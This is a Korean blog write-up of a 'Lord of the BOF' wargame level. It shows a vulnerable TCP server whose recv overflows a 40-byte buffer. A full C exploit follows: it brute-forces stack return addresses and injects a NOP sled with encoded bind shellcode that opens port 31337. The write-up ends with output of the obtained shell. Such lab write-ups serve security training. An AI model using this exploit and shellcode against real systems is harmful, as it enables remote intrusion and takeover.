BOF 원정대 level20 (xavius -> death_knight) |
/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */
#include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h>
main() { char buffer[40];
int server_fd, client_fd; struct sockaddr_in server_addr; //소켓 서버 구조체 선언 struct sockaddr_in client_addr; //소켓 클라이언트 구조체 선언 int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ //소켓의 타입 설정(여기서는 TCP) perror("socket"); exit(1); }
server_addr.sin_family = AF_INET; //소켓의 타입 결정 IPV4 를 의미 server_addr.sin_port = htons(6666); //6666포트를 열게 된다. server_addr.sin_addr.s_addr = INADDR_ANY; //들어오는 모든 사람들을 받아들이겠음 bzero(&(server_addr.sin_zero), 8); //서버의 zin_zero 부분을 0으로 초기화
if(bind(server_fd,(struct sockaddr*)&server_addr,sizeof(struct sockaddr)) == -1){ //바인딩시킴 perror("bind"); exit(1); }
if(listen(server_fd, 10) == -1){ //소켓을 대기 상태로 만듬 perror("listen"); exit(1); }
while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ //accepte 가 될시 호출 되는 부분(즉 클라이언트의 연결이 있을시) perror("accept"); continue; }
if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); //40바이트 buffer에 256바이트를 저장 close(client_fd); break; }
close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); }memset(buffer+40+8, 'A', 4);
|
리모트 BOF 문제이다. 6666포트로 들어오는 사용자들이 문자열을 입력하면 40바이트 만큼 할당된 buffer값에 recv()는 들어오는 내용중 256개를 buff에 넣기 때문에 오버플로우가 발생 하게 된다. 공격 페이로드는 다음과 같다 [buffer=40][sfp=4][ret= 4] [ argc ~~] Aaaaaa…..aaaaaa [&NOP] [NOP + BIND SHELLCODE]
버퍼을 쓰레기 값으로 체우고 ret에는 앞으로 삽입될 NOP 코드의 주소값을 가르친다. 이는 적절한 위치를 정확히 찾기 어렵기 떄문에 stack 영역을 부루투 포싱한다.
이후 일반 쉘코드가 아닌 31337 포트가 열리는 바인드 쉘코드를 사용한다. |
부루투포싱을 손으로 할순 없으므로 간단한 소켓을 짜서 공격해보자.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h>
#define BUFSIZE 256 #define OFFSET 44 #define JUMP_OFFSET 36
char bindshellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01" "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5" "\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8" "\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f" "\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16" "\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b" "\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5" "\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e" "\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
//31337 포트로 열리는 바인드 쉘코드 이다.
#define BINDPORT 31337 //telnet 으로 바인드된 곳으로 접속할 포트를 정한다. //즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.
int main (int argc, char *argv[]) { int sockfd; struct sockaddr_in target_addr; unsigned char buffer[BUFSIZE]; //exploiting 할 버퍼 값 unsigned int retaddr = 0xbffffff0; //return addr 을 계속 바꿀 주소값 char cmd[100]; //telnet 명령어를 박을 부분
if (argc != 3) { fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]); return -1; }
sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT); //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~
while (1) {
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { printf ("socket error"); return -1; } memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(atoi(argv[2])); //target ip target_addr.sin_addr.s_addr = inet_addr(argv[1]); //target port
if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) { printf(“connect error”); close(sockfd); continue; } retaddr -= JUMP_OFFSET; //JUMP_OFFSET만큼 계쏙 감소. 놉코드 개수와 일치시면 좋다. memset(buffer, '\x90', sizeof(buffer)); //놉코드로 변수를 초기화한다. memcpy(buffer+OFFSET, &retaddr, 4); // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘 memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음. 때문에JUMP_OFFSET을 50이라고 줌
send(sockfd, buffer, strlen(buffer), 0); //소켓을 전송함.
system(cmd); //telnet 을 시도함.
close(sockfd);
}
return 0; }
|
telnet: Unable to connect to remote host: Connection refused Trying 220.95.152.26... telnet: Unable to connect to remote host: Connection refused Trying 220.95.152.26... telnet: Unable to connect to remote host: Connection refused Trying 220.95.152.26... Connected to 220.95.152.26. Escape character is '^]'. id : command not found id; uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight) : command not found my-pass; euid = 520 |
'War_Game > system' 카테고리의 다른 글
LOB Fedora BOF GOT overwrite (hell_fire -> evil_wizard) (0) | 2013.04.07 |
---|---|
[LOB] 페도라 원정대 3 (dark_eyes -> hell_fire) (0) | 2013.04.01 |
LOB 페도라 원정대 iron_golem -> dark_eyes (LOB FC level 2) (0) | 2012.05.13 |
LOB 페도라 원정대 (gate -> iron_golem) (0) | 2012.05.11 |
해커스쿨 level20 문제풀이 (solution of hackerschool ftz level20) (0) | 2012.04.01 |